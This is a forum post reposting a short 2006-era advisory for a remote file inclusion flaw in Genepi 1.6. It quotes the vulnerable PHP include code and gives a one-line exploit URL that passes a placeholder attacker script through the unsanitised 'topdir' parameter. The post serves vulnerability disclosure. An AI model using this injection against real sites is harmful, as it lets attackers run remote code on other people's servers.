Jump to content
Guest Nemessis

[RST] Genepi <= 1.6 [topdir] RFI

Recommended Posts

Guest Nemessis

http://www.milw0rm.com/exploits/2539

---------------------------------------------------------------------------

Genepi <= 1.6 [topdir] Remote File Include Vulnerability

---------------------------------------------------------------------------

Discovered By Kw3[R]Ln [ Romanian Security Team ] : hTTp://rstcenter.com:

Remote : Yes

Critical Level : Dangerous

---------------------------------------------------------------------------

Affected software description :

~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : Genepi

version : 1.6

URL : anonymous@cvs.savannah.nongnu.org:/cvsroot/genepi genepi

------------------------------------------------------------------

Vulnerable CoDE:

~~~~~~~~~~~~~~~~~~~~~~~~~~

$libdir = $topdir . 'lib/';

//blablabla.....

//Including Genepi libs

//Base classes

include ($libdir . 'GenepiObject.php');

include ($libdir . 'parser.php');

include ($libdir . 'GenepiException.php');

include ($libdir . 'Dtd.php');

Exploit:

~~~~

Variable $topdir not sanitized.When register_globals=on an attacker ca

n exploit this vulnerability with a simple php injection script.

# http://www.site.com/[path]/genepi.php?topdir=[Evil_Script]

---------------------------------------------------------------------------

Shoutz:

~~

# Greetz to [Oo], str0ke, th0r, RST TEAM: [ !_30, darkking, DarkWizzard, Elias, Icarius, MiniDisc, Nemessis, Shocker, SpiridusuCaddy and sysghost !]

# To all members of #h4cky0u and RST [ hTTp://rstcenter.com ]

---------------------------------------------------------------------------

*/

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...